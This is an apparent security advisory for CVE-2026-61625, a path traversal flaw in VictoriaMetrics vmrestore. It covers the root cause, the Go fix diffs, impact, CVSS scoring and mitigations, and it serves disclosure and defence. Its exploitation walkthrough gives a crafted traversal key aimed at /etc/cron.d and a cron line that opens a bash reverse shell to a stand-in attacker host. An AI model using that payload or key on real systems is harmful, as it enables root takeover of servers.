CVE-2026-61625: Arbitrary File Write via Path Traversal in VictoriaMetrics vmrestore

The VictoriaMetrics system relies on the vmrestore utility to restore database backups from local directories or cloud-based object storage services, including Amazon S3, Google Cloud Storage (GCS), and Azure Blob Storage. During a restoration cycle, vmrestore fetches database chunks, or 'parts,' from the designated remote storage root and writes them to the local disk inside the path defined by the -storageDataPath command-line argument.

This utility acts as a privileged file writer on the host operating system. Historically, the architectural assumption was that the backup source was an implicitly trusted entity under the exclusive control of the administrator. However, in modern multi-tenant environments or compromised cloud infrastructures, an attacker can achieve write or modification access to the backup repository.

Because the input validation boundaries were not enforced on the object paths retrieved from the backup repository, vmrestore accepted arbitrary metadata paths. An attacker who modifies the backup store can insert malicious key paths containing backtrack characters (../), causing vmrestore to write files outside of the intended directory context.

The root cause of CVE-2026-61625 is an improper path validation mechanism when mapping remote object storage keys to the local restoration directory. Specifically, vmrestore loops through a list of database backup parts (srcParts) and maps each part's relative path (part.Path) to the local destination directory (dir).

To construct the full absolute path of the destination file, the codebase utilized Go's standard library function filepath.Join(dir, part.Path). According to the Go specification, filepath.Join automatically cleans the resulting path by resolving relative directory references, including parent directory references (../).

If part.Path contains a sufficient number of ../ sequences, the resolving logic in filepath.Clean will backtrack past the base directory (dir). For instance, if dir is /var/lib/victoria-metrics/data and part.Path is ../../../../etc/cron.d/malicious_cron, the joined path resolves directly to /etc/cron.d/malicious_cron. Because there was no post-resolution verification to ensure that the final path remained a subdirectory of the intended root directory, vmrestore passed this out-of-bounds path directly to the local filesystem driver.

The vulnerability was corrected in commit 710c920d6083327042a309e449fae4383617d817 by implementing strict verification checks at both the planning phase and the low-level writing stage.

// lib/backup/actions/restore.go
 
func (r *Restore) Run(ctx context.Context) error {
	if err != nil {
		return fmt.Errorf("cannot list src parts: %w", err)
	}
+   for _, srcPart := range srcParts {
+       if !srcPart.IsLocalPathInsideDir(r.Dst.Dir) {
+           return fmt.Errorf("part file %s would be written outside storage directory %s", srcPart.Path, r.Dst.Dir)
+       }
+   }
	logger.Infof("obtaining list of parts at %s", dst)

The validation is executed using the newly introduced IsLocalPathInsideDir method on the Part struct. This method ensures that the resolved location starts with the targeted directory path plus an explicit path separator, preventing sibling directory bypasses.

// lib/backup/common/part.go
 
// IsLocalPathInsideDir returns true if the part's local path resolves inside dir.
// It resolves ../../ sequences and prevents path traversal outside dir.
func (p *Part) IsLocalPathInsideDir(dir string) bool {
	dir = filepath.Clean(dir)
	if dir == "/" {
		return true
	}
 
	return strings.HasPrefix(p.LocalPath(dir), dir+string(filepath.Separator))
}

By appending string(filepath.Separator) to the end of the cleaned root directory string, the application blocks 'sibling directory' bypasses. For example, if the root directory is /data/storage, the prefix used for validation is /data/storage/. This prevents a traversal path like ../storagefoo/evil.txt from resolving successfully, as /data/storagefoo/ does not match the mandatory prefix /data/storage/.

Additionally, a low-level guard was added to lib/backup/fslocal/fslocal.go to panic if a bad path somehow slips past the planner:

func (fs *FS) NewDirectWriteCloser(p common.Part) (io.WriteCloser, error) {
+   if !p.IsLocalPathInsideDir(fs.Dir) {
+       logger.Fatalf("BUG: part file %s would be written outside storage directory %s", p.Path, fs.Dir)
+   }
 
	path := fs.writePath(p)

To successfully exploit CVE-2026-61625, an attacker must complete several logistical stages.

First, the attacker must achieve write access to the targeted backup repository. This may occur via stolen AWS API keys, an insecurely configured S3 Bucket Policy allowing public writes, or a compromised shared storage volume (NFS/CIFS).

Second, the attacker uploads a malicious backup block. Rather than configuring a legitimate shard key such as parts/segment_0/data.bin, the attacker creates an object named ../../../../../../../../etc/cron.d/system_maintenance.

Third, the attacker populates this object with a malicious Linux crontab script. For example:

* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.local/4444 0>&1'

Fourth, the operator triggers the standard restore command against the compromised repository. When vmrestore runs, it iterates through the directory structure, encounters the crafted traverse key, resolves the path to /etc/cron.d/system_maintenance, and writes the reverse shell script. Within sixty seconds, the system's cron daemon executes the script, granting the attacker root privileges on the server.

The impact of exploiting CVE-2026-61625 is high, potentially leading to complete host compromise. Because vmrestore is frequently run with administrative permissions to write directly to database directories, any file written outside the designated restore directory inherits those write permissions.

By leveraging the arbitrary file write capability, an attacker can achieve remote code execution (RCE) on the database host. Standard targets for RCE via arbitrary writes include crontabs (/etc/cron.d), user profile files (such as ~/.bashrc), or SSH authorized keys (~/.ssh/authorized_keys). If the service runs as a containerized process, the directory traversal is typically limited to the container filesystem unless the container has host-mounted directory paths.

The vulnerability received a CVSS v3.1 score of 6.8 (Medium) rather than High/Critical due to the prerequisites: the attacker must already possess write permissions (PR:L) to the backup destination, and an operator must manually execute the restoration utility (UI:R). However, in automated recovery pipelines and disaster-recovery simulations, this user interaction can be automated, elevating the practical risk.

To mitigate CVE-2026-61625, administrators must upgrade VictoriaMetrics tools to versions 1.122.25, 1.136.12, 1.146.0 or later. These versions contain the complete path containment fix.

For systems where an immediate upgrade is not feasible, the following operational mitigations must be implemented:

1. Apply strict IAM policies to backup storage. Restrict s3:PutObject or equivalent cloud storage permissions to only authorized backup service accounts, ensuring that monitoring systems or external parties can read but not write to the backup bucket.

2. Scan existing backup targets for traversal sequences. Before running vmrestore, execute checking scripts or run the following command to check for directory traversal structures in S3 keys:

aws s3api list-objects --bucket <your-backup-bucket> --query "Contents[?contains(Key, '..')].Key"

The fix implemented by the VictoriaMetrics maintainers is robust. It applies path validation at the planning layer and uses a second defense-in-depth barrier directly in the filesystem writer, preventing future development regressions from reintroducing the vulnerability.